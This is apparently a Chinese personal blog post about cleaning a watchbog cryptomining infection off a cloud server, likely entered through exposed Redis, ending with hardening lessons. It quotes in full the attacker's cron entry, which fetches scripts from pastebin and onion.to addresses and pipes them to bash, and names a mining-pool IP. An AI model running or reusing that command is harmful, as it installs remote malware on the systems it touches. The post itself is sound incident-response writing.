上个月末，我也尝试到了服务器被病毒入侵的滋味，正好这个月末来复盘一下。

怎么说呢，那个感觉就像是你自己的娃在外面被揍了一样，你得想办法为孩子出人头地呀，是吧。于是这一波病毒反击战就正式上演了。

一出好戏

先说一下我是怎么发现服务器被入侵的。那是在一个愉快的下班时间，我的手机端又提示收到了阿里云的警告。因为之前我用物联网卡的缘故，而我的物联网卡归属地是在重庆，所以总是会导致阿里云警告我的服务器异地登录的情况出现。而这一次，看到警告信息和往常有点不一样，我就有点奇怪。但苦于我那会还不像现在这样可以天天拿着我的MBP回家，可以及时操作（虽说手机端也有连接命令行的工具，但是屏幕太小了），加上之前老是收到异地登录的警告，以为这次也不会出什么大事，所以我也就没继续在意。

令人恐惧的事发生在第二天上午我来上班的时候。我照常打开终端工具，熟练地连上阿里云服务器，发现这一次比平常要慢很多，因为昨天报警的事，我一度担心登不上去。不过还好，过了一会，总算登录上去了，这让我缓了一口气。但是噩耗再度传来，我发现无论我输入什么命令，终端上回显的速度都奇慢，我彻底慌了！一般出现这种问题，要不就是网络问题；要不就是CPU满了，导致服务器处理不过来。于是我使用top命令查看到底有什么进程在占用CPU，果然看到一个叫做watchbog(它竟然想伪装成watchdog)的进程占用了99.3%的CPU！

file

我想这种病毒应该有人遇到过吧，所以我先谷歌了一下watchbog到底是什么病毒，找找解决方案。网上说这是一种挖矿病毒，就是利用服务器的CPU资源疯狂挖矿的病毒，基本上感染了这种病毒的服务器就会变成肉鸡，造成其他服务不可用。

一开始我还天真的以为只要把这个进程给kill掉就万事大吉了，于是参考网上的教程，使用killall watchbog命令杀掉病毒，后面证明我还是太年轻。在杀掉病毒的一开始几十秒钟使用top命令查看，看似一切正常、岁月静好。实则暗流涌动、暗度陈仓，不一会儿，top命令查看到的CPU又飙到了99%，进程还是那个watchbog进程，果然你大爷还是你大爷，该认孙子的时候还是得认。

我就在想啊，这是怎么一回事嘛，怎么杀掉又起来了？正好我前不久学了一点Linux定时任务的知识，想着黑客是不是在我的系统里创建了什么定时任务，就是每过一段时间就启动一个进程，不管我怎么kill进程，它也总还是会重新复活。于是我使用crontab -l命令查看服务器是否存在某种定时任务，果然，这一次又被我猜中了，下面是黑客写的定时任务：

*/9 * * * * (curl -fsSL https://pastebin.com/raw/J6NdVBHq||wget -q -O- https://pastebin.com/raw/J6NdVBHq||python -c 'import urllib2 as fbi;print fbi.urlopen("https://pastebin.com/raw/Rs78euic").read()'||curl -fsSL https://pastebin.com/raw/uw00pm39||wget -q -O - https://pastebin.com/raw/uw00pm39||curl -fsSLk https://aziplcr72qjhzvin.onion.to/old.txt||wget -q -O - https://aziplcr72qjhzvin.onion.to/old.txt --no-check-certificate)|bash

嘿嘿，总算抓到你的马尾了吧，我随手一个crontab -r，小兔崽子你就命归西天吧！使用crontab -l发现确实没有了定时任务，也再次使用killall watchbog把进程杀掉。心想，这回看你还怎么复活。正当我暗暗自喜的时候，突然发现敲命令回显的速度又慢了下来，按了几次向上的方向键回到刚刚不久输入的crontab -l，发现它又回来了，这像个魔鬼的东西它又回来了！我的天啦，难道是我删除定时任务的方式不对？于是我又上网查了一下crontab的具体使用方式，在搜索的过程中，发现了这么一条有趣的知识：

file

“在Linux下的crontab会自动帮我们每分钟重新读取一次/etc/crontab的例行工作事项。”这看起来好像是Linux帮我们做了好事，但是如果被不怀好意的人利用起来，它就成为了一件坏事。黑客也许就是利用了crontab的这个特性，使得我使用crontab -r删掉定时任务也没用。于是根据这条线索，我使用vim打开/etc/crontab（在命令模式输入set nu! 显示行数），看到了黑客的血腥和暴力：

file

黑客竟然在这里写了一千多个定时任务，无论你手速多么快，就算你有单身30年的手速，你也无力回天！所以到此为止，我的孩子，哦不，我的服务器真的没救了吗？功夫不负有心人，只要你看看那个定时任务的具体代码，就会发现一些端倪。下面是/bin/httpntp/里面的内容：

file

你会发现和之前crontab设置的定时任务有点相像，就是这个请求地址pastebin.com和aziplcr72qjhzvin.onion.to是一样的。所以我们利用很多年之前黑客常用的污染hosts文件的方式，也把这个地址污染一下，“以其人之道，还治其人之身”，这是我对黑客的基本尊敬。在/etc/hosts文件中增加最后一行：

file

这样就算它再请求，映射的也是本地地址，切断了它和外界的联系，就算它喊破喉咙也无济于事，嘿嘿，就等着被我蹂躏吧。然后，我把上述删除定时任务和杀掉进程的命令重复执行了一遍。终于，服务器不再哭泣，一切都天朗气清、云淡风轻！

如此，服务器回到了正常的运行状态，但是我也没有就此罢休，毕竟还没弄清楚这背后是谁在指使着一切，我的服务器又是怎么被攻破的？毕竟我很久之前也是做了一定的防护措施的——禁用默认22端口登录。

追根溯源

我们先来看看这个https://pastebin.com/J6NdVBHq 是何方神圣：

file

很遗憾，这里已经被黑客删除了。我也尝试用了一下这个网站，这其实是一个可以保存脚本的网站，也就是说这就是黑客下载脚本的地方。

再就是https://aziplcr72qjhzvin.onion.to/old.txt：

file

看来这是一个要洋葱浏览器才能访问的网站，也就是暗网。

还有网友说watchbog进程也一直在和http://139.99.120.73/ 这个地址通信，我访问了一下：

file

这其实就是一个矿池，所以这个watchbog确实是一个挖矿程序。

我们再来回过头来看看阿里云前一天给我报的警：

file

第一个报警的竟然是因为Redis，这也就是文章一开始说到的异常提醒。后来我网上查了查，也确实是Redis的漏洞导致，所以赶紧把阿里云的安全组规则中的6379端口给删除了。但是奇怪的是，阿里云在下班那会给我报了一次警之后就没有消息了，我是登录阿里云控制面板才看到这么多警告的。希望阿里云的产品经理可以改进一下这个提醒机制，在服务器报了这么多警告的情况下，至少得提醒用户三遍吧。当然，主要原因还是在自己，常在河边走哪有不湿鞋，下面总结经验教训。

经验教训

1、警惕把一些常用软件的默认端口暴露出去，最好更改默认端口；

2、关闭云服务器的默认ssh端口22，更改为一个只有自己知道的端口；

3、最好使用证书登录，取消密码登录。

今天的文章到这里就结束了，喜欢小编文章的话记得关注与转发支持一下哦